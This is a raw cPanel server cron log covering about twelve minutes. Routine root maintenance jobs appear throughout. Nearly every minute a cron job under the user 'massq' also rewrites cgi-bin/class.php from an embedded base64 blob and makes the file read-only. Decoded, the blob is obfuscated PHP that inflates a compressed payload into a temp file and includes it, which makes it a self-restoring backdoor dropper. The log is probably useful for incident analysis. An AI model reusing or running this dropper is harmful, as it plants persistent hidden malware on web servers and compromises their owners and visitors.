Sep  4 05:03:01 server CROND[13149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:03:01 server CROND[13151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:04:01 server CROND[13532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:04:01 server CROND[13533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:04:01 server CROND[13534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:05:01 server CROND[13935]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:05:01 server CROND[13937]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 05:05:01 server CROND[13940]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 05:05:01 server CROND[13942]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 05:05:01 server CROND[13948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:05:01 server CROND[13951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:05:01 server CROND[13950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:05:01 server CROND[13952]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 05:05:01 server CROND[13949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:06:01 server CROND[14816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:06:01 server CROND[14817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:06:01 server CROND[14818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:07:01 server CROND[15191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:07:01 server CROND[15193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:07:01 server CROND[15192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:08:01 server CROND[15669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:08:01 server CROND[15670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:08:01 server CROND[15673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:09:01 server CROND[16052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:09:01 server CROND[16053]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 05:09:01 server CROND[16056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:09:01 server CROND[16057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:10:01 server CROND[16465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:10:01 server CROND[16466]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 05:10:01 server CROND[16469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 05:10:01 server CROND[16471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:10:01 server CROND[16473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:10:01 server CROND[16474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:10:01 server CROND[16472]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 05:10:01 server CROND[16470]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:11:01 server CROND[17357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:11:01 server CROND[17358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:11:01 server CROND[17359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:12:01 server CROND[17737]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 05:12:01 server CROND[17738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:12:01 server CROND[17740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:12:01 server CROND[17739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:13:01 server CROND[18274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:13:01 server CROND[18275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:13:01 server CROND[18276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:14:01 server CROND[18657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:14:01 server CROND[18658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:14:01 server CROND[18659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:15:02 server CROND[19057]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:15:02 server CROND[19059]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 05:15:02 server CROND[19063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
